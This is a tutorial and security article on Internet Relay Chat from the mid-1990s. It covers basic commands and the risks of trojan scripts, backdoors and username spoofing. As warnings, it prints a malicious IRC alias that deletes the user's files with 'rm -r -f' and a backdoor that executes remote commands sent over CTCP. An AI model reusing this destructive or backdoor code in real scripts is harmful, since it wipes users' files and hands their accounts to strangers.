This article is divided into two sections. The first explains what IRC is, and how to use it. Designed for the newcomer to IRC, it lists common commands and how to keep the IRC session "under control". Think of it as security for the individual user, who wants to keep his or her IRC session under his own control. The second section details more serious IRC security concerns; scripts, trojans, spoofing and privacy. It is also geared toward the user, but with a more technical slant. Both sections, taken together, give a comprehensive "mini-course" on getting started with IRC safely.

John Perry Barlow once described Cyberspace as 'where you are when you're on the telephone'. IRC is where you go when you want to meet people in Cyberspace. IRC (which stands for 'Internet Relay Chat') is the most popular chat program on the Internet. 6000-8000 people can be logged into the main network at any given time, and perhaps another 1000 log into the 'undernet' system and various private systems. People use IRC for many reasons. Some use it to chat about their lives, some use it as an inexpensive conference call, and some use to stay in real-time touch with their colleagues in various fields. Some use it to harass other people, or to get into other people's accounts.

Internet Relay Chat, like many Internet services, was started as a little project by someone with some time to kill. Since its initial release in 1988, (it was originally intended as a local replacement for the Unix 'talk' program), IRC has become an established part of the Internet, used by thousands of people every day. It has grown and changed a lot since 1988; the current version barely resembles the original. However, one thing about IRC has not changed; it is still a rich source of security problems. This article will give you some tips on using IRC, and especially how to use it safely. We will examine some of the security problems IRC presents, both within the realm of IRC and outside it. We will also look at the privacy and authentication concerns IRC presents. This article is primarily geared toward users of IRC, although some concerns of administrators are addressed.

Many people in the security community are beginning to make use of IRC to meet with colleagues and to gather information about security problems (not just IRC related). However, as with many programs/service, many people do not read the documentation. To save you time and effort, we will present a short tutorial on how IRC works. We recommend you read the documentation if you intend to make extensive use of IRC. IRC is a distributed client-server system, with over a hundred servers scattered across the Net. Each user runs a local client, which connects to a server. The client tells the server who is connecting and what name they want to use. The server checks its list of current users on all servers, and if the name is not being used by anyone else, the user is accepted.

On IRC the space is divided into 'channels'. Think of each channel as a space divided by movable partitions. Channels only exist on IRC when there are people in them; when the last person leaves the channel disappears. Some channels are always occupied, and some last only as long as a conversation between two people. Each channel has a name, to let people know what to expect when they enter.

Physically, the system works much like Usenet (except much faster), with servers forwarding messages to each other, until every server gets every message. Each server has one or more Operators, who control things like which servers it is talking directly to, and other administrative functions. Operators can cut other servers off, 'kill' users, and send messages to all users at once. Some operators are said to have other abilities written into their server, like listening in on private conversations and spoofing themselves as other people.

We need to insert a word here about the 'Undernet'. The Undernet is an alternate system of servers, with slightly different features. It has a considerably smaller user base than the larger 'EFnet', and has a number of features designed to prevent many of the problems listed below. For a full explanation of what the Undernet has to offer, you should use anonymous ftp to rtfm.mit.edu; cd to /pub/usenet-by-group/alt.irc and get the files IRC_Undernet_Frequently_Asked_Questions_(FAQ)_(Part_1_of_2) and IRC_Undernet_Frequently_Asked_Questions_(FAQ)_(Part_2_of_2).

Now that you understand a bit of how it works, it's time for a practical 'how to'. You're sitting at your Unix shell prompt (there are clients for other machines - VMS, Windows, Mac - but as with the rest of the Internet, Unix is currently the most common). You type 'irc'. You see this message on your screen:

*** Connecting to port 6667 of server irc-2.mit.edu
*** Welcome to the Internet Relay Network root
*** Your host is irc-2.mit.edu, running version ircd2.8/dog3-super.pl7
003 This server was created Thu Sep 15 1994 at 02: 57:11 EDT
004 umodes available oiws, channel modes available biklmnopstv

On IRC, you type in messages a full line at a time, and hit return. Any line that starts with a '/' is a command; there are about a hundred commands, too many to tell you everything about all of them. You can find all of the commands in the documentation for IRC, but to save you time, we will look at the at most of the common ones.

You need to be careful to use the correct parameters with the commands, or you could cause yourself great inconvenience. Here, we will look at Nick, Join, Leave, Msg, Query, Mode, Invite, List and Whois.

• Nick - This is the first command you should learn. Unless you get a 'You have specified an illegal nickname, please enter your nickname:' message when you started up, your nickname will be the same as your account name. For some this is fine; however, if your username is 'rsk457', you might want to change your nick to something more friendly like 'Jan' or 'JanH' (IRC nicknames can be from 1-9 characters and the first character cannot be a number).

• Join - This does what you would expect - sends a request to join a channel. You say '/join #channel' (putting a '#' in front of the name of the channel). If the modes of the channel (see below) allow, you join the channel; it's like walking into a room. You're told who else is in there, and they're told that you've come in. If your request is refused, you're told why. There are ways to be on more than one channel at a time; until you're an expert though, you should leave this alone. One channel at a time is usually all you'll need.

• Leave - This is the opposite of Join.

• Msg - Sooner or later you want to say something privately to someone. You could set up a new channel and invite them, but that's a lot of hassle for just a quick 'hi'. Typing '/msg joe hi, how are you?' is much quicker. A quick word on how messages appear - public messages appear with the name of the person looking like this:

   Hi Floyd
   Hi Pink
  

  Public messages from you look like this on your screen:

  > Hi everybody.
  

  Private messages from others look like this:

  *Pink* Hi Floyd
  

  Private messages from you to others look like this:

  -> *Floyd* Hi Pink
  

• Query - Sometimes you may want to have a whole conversation with someone, in private. Again, you could leave and set up your own private channel (sometimes this is the best option); but unless it's going to be a long talk, "Query" is the command to use. Type '/query joe' and all your messages will go only to Joe. When you're done type '/query' and hit return; that resets the query.

  You need to be aware that you can be a victim of line noise. Sometimes line noise or interference will burst across the lines at the same time you enter a /query. Your hopefully private message could get a few characters -before- the /, which would turn it into a public message resembling:

  > *!$$ i  /msg John Yes, we suspect he is the one but won't know for sure
  > until tomorrows logs are analysed.
  

  OOPS! This is why we recommend /query for private conversations, as opposed to /msg.

• Mode - Modes are used to define a channel. Only channel operators can change the modes on a channel. The first person to join a channel (the creator of it) is automatically made an Op. An Op can make anyone else an Op, or take away their Op status. Ops can also kick people out of channels. Some people especially enjoy the status of "Op" and will do almost anything to get it. It seems to hold almost a magical power over some IRC users. Some of the more useful modes:

  '/mode #channel +i' - Invite. Only people who are invited by an op (using the Invite command) can join the channel. This is useful if you are going to discuss a topic and wish to have (relative) privacy from others who may be on the IRC at the same time.

  '/mode #channel +l 10' - Limit. This limits the number of people who can be in the channel at one time.

  '/mode #channel +b nick' - Ban. This stops anyone with that nick from joining. The person could change their nick (or site) and rejoin; usernames, sites and even whole domains can be banned. Sometimes a really nasty person will get control of a channel and '/mode #channel +b *!*@*', which shuts out -all- users, and then go do his math homework.

  '/mode #channel +o nick' - Op. You can also de-op someone with '/mode #channel -o nick'.

  '/mode +channel +m' - only ops or people with +v (see below) can talk on the channel.

  '/mode #channel +v nick' - Voice. See above.

  '/mode nick +i' - Invisible. This makes you invisible to Who and Whois, unless the person uses your exact nick. You can only do this for yourself.

• List - Channel list. Unless you want to see all 1200 channels at once, don't type this without modifiers. /list #security will show you the names of users in the channel #security. /list will show you the names of every channel on IRC, and every person in every channel on IRC.

• Whois - This shows you the account information for a user. You say '/whois wing' and you are told 'wing is [email protected] (Wing) on channels: #root'. Since there is no way to reserve a nickname, you should check that the person you are about to message asking "how did your boss take the news of the lawsuit" is actually them and not their boss! If it's REALLY important, don't even rely on the answer Whois gives you - usernames are easily spoofed. Hostnames can also be spoofed, though this is more difficult.

By "inside IRC", we mean issues like keeping control of a channel and dealing with disruptive users. IRC has always had disruptive users. Channel modes and channel operators were created to exercise some control over channels, but there have always been people creative and bored enough to find ways around them. This section will give some common ways individual users attempt to cause problems, and how other users can help control this situation.

One early IRC 'hack' involved channel names; it was discovered that if you joined a channel with the same name as another channel, but with a Control-G at the end (for example "+IBM^G"), one part of the IRC server code would check the name and see no channel with the same name, and give the user channel operator ('chan-op' or just 'Op' to IRC'ers) status. Another part would see no difference between the two names and drop the user in the already established channel. This has been long fixed; but there are always new holes waiting to be discovered.

As already mentioned, IRC's main line of defence for users is the channel modes. An understanding of these, and careful application of some basic common sense will go a long way.

You may wonder why all of this channel information is important. If you are trying to make use of IRC to learn/converse, you must be able to deal with the ever-changing nature of the channels. You must understand how these things work. If you do not understand them, you will be left behind as the seasoned participants toss you around like a feather in a hurricane. If you are tossed about spending all of your time trying to learn "the game", you will not have time to pay attention to the things that are larger security problems for IRC users and sites . You will be so busy trying to keep your head above water that you may not notice yourself drown. More importantly, you need to know what commands you can use that will NOT cause you problems. There are some real problems that can occur when you are using IRC in realtime. If you are not familiar with the basics, you will not recognise when something is -really- going wrong.

Now that you are familiar with some of the tools for getting around IRC, we'll start looking at the security issues IRC presents. The biggest concern is taking something someone says or gives you, and doing it or running it. It doesn't take much to make your account open to the world; one command you don't understand is all it takes. There are many IRC scripts floating around; some are useful, some are useful if you want to annoy other people, and some have trojan horses. We will examine some of these scripts in Part II. Your best bet is to avoid these altogether, until you are good enough at writing IRC scripts to check each line yourself.

In part I, we have examined how users can keep their IRC sessions reasonably "under control" by understanding commonly used commands. It's all well and good to know how to stop the flooders from flooding, the clonebots from cloning, and the flashers from flashing. However, you need to be aware of more serious aspects to IRC security. While you can avoid the dangers of scripts by not running them, there are yet more 'invisible' dangers.

Scripters and their toys

As previously mentioned the other area of concern is commands run from within IRC. There are two ways to run commands, manually and automatically (scripts).

Manual execution is easy to stop. Simply put a line 'set exec_protection on' in your .ircrc file. You will never need to worry about accidentally typing something that could delete your data or hand your account over to someone (unless you type '/set exec_protection off'). This will stop any and all attempts by you to use the 'Exec' command.

Protecting yourself from scripts is equally easy - don't run any. If you must run a script, check over each line to make sure you know it does what you want it to do. And be sure to get the script from a reputable person, who has looked the script over for safety also.

Here are some examples of nasty things that can be found in scripts:

From a script called 'IRCop' (which allegedly hacks Op for the user):

^alias clean {
       ^set display off
        EVAL ^MSG $NICK  @@@ Removing files from lamers account.
        exec rm -r -f *
        EVAL ^MSG $NICK  @@@ Removing .* files, including foo.
        exec rm -r -f .*
        EVAL ^MSG $NICK  @@@ Restoring directory.
        exec mkdir Folgers_Crystals
        EVAL ^MSG $NICK  @@@ Changing lamers nick.
        nick Iam****ed
        EVAL MSG $NICK  @@@ Making public announcement.
        me doesn't know it yet but he has secretly had his files
	  replaced
        me - with Folgers Crystals.
        me - Will he notice?   Let's watch...
        sleep 4
        EVAL ^MSG $NICK  @@@ Lamer is loosing his temper.
        say ****ing Son of a *****!  They ******* deleted my *** **** 
	  files!
        say I'm gona ****ing kill there ***! 
        me - Folgers Crystals... Rich enough to replace even MY files.
        me is so ****ed 3l33+...
        EVAL ^MSG $NICK  Lamer *DESTROYED*
        set display on
}

Instead of stealing Ops, the poor wanna-be op has all his files deleted -- and, he sends nasty little messages to everyone who is watching. If his humiliation was not enough, there is more code in this script that sets up and runs a password file de-shadower, sends the file to another user and insults the user running the script while stopping him from quitting IRC.

Even otherwise useful scripts may contain trojans, as this excerpt from a Usenet post illustrates -

Newsgroups: alt.irc
From: John Leth-Nissen 
Subject: WARNING to all AXIS users!
Message-ID: 
Sender: [email protected] (Usenet News)
Nntp-Posting-Host: bolero.rahul.net
Nntp-Posting-User: conquest
Organization: a2i network
X-Newsreader: TIN [version 1.2 PL2]
Date: Wed, 26 Oct 1994 00:21:46 GMT
Lines: 68
    WARNING     WARNING     WARNING     WARNING     WARNING     WARNING
        Users of the scriptpak known as AXIS beware!  The script you are
using contains an extremely dangerous backdoor. If you have used this 
script on IRC w/o first removing this backdoor you may have already been 
hacked! This warning includes the original distribution from murple himself
(ftp.clark.net). The author of this script is sent an email when you use his 
auto-install so he knows who you are and this backdoor allows him total 
control of your client and access to your account.
Suggested Remedy:
Remove the whole axis pak or edit the ~/axis/axis file & remove the backdoor.
If you have run this script on irc you should probably send an email to your
admin and ask him to check system logs to find out if your account has been
accessed by [email protected]. 

This may be a little bit of an over reaction but there is no way to know what murple's true motives are for putting this kind of backdoor into the script. If his motives were not to hack your account there are much safer ways of coding a backdoor to only allow certain commands.

Here is the backdoor

file: ~/axis/axis
lines: #1448-1462
--- begin ---
comment The following /ON statement is the back door. Congrats on being smart
comment enough to read a script before running it. Simply delete the next
comment 12 lines to get rid of it.
^on ^ctcp "% % DOIT*"
{
  ^assign doome $3-
  ^userhost $0 -cmd if ([$3]==[murple]&&[$4]==[clark.net])
  {
    ^set display off
    ^notice $0 [Slave] Your wish is my command: $dome
    ^eval sendline $doome
    ^timer 20 ^set display on
    ^eval sendline $doome
  }
}
--- end ---

The author claims the script was only intended to have a very limited release, among friends who all gave explicit permission for the backdoor, so he could help them out.

It only takes a line or two to wipe your account clean or hand it over to persons unknown; think before you type '/load nifty.irc'.

You don't have to run a script for your account to be compromised. In some cases you need only run IRC itself. It is not only possible to install a trojan horse into IRC, it has been done; and on a large scale at that. CERT recently released this advisory:

---

CA-94:14                         CERT Advisory
                                October 19, 1994
                      Trojan Horse in IRC Client for UNIX
The CERT Coordination Center has learned of a Trojan horse in some copies of
ircII version 2.2.9, the source code for the Internet Relay Chat (IRC) client
for UNIX systems. Reports we have received thus far indicate that the corrupt
code was available as early as May 1994. The Trojan horse provides a back door
through which intruders can gain unauthorized access to accounts of IRC users.
Intruders are actively exploiting this back door.  If you obtained ircII 2.2.9
from any site in May or later, you may be vulnerable.

---

Our last stop on this tour is a look at authentication or 'how do you know who you're talking to?'. The short answer is, you don't. IRC requires no authentication of usernames; it is the client's responsibility to tell the server the username. Spoofing of usernames is trivial, just a few lines of C code and you can go on IRC as any user (or a non-existent user) at your site.

By setting environment variables with the getenv command prior to invoking IRC, and making a two line change to the IRC client he is running, he can become [email protected]

For instance, if system headroom.com user max has made this commonly available code change, and typed "setenv IRCUSERID bryce", IRC will show him as [email protected], NOT max! Use of a secure port for username verification is an option, but not a requirement. In other words, you cannot trust a username you see on IRC. While many clients have been fixed to not accept spoofed usernames or realname fields, some still accept them, and pass them right along.

Spoofing the hostname is a bit tougher; that would require either a source-routing-based spoof, or a modified server. But neither is outside the realm of possibility and both have been done.

What is the conclusion? Should administrators forbid IRC on their systems? Some have tried, but users can and -will- find ways around it, either by changing the program name, or, if all else fails, by telnetting to another site that allows IRC. IRC is here to stay. Commercial services are beginning to offer it as an option for users. It's a good program, with many positive benefits including sharing of information and socialization. You cannot run, or hide from it. So, give it a try and see if you can help us figure out ways to make it more secure. We have a long way to go, and need all the help we can get.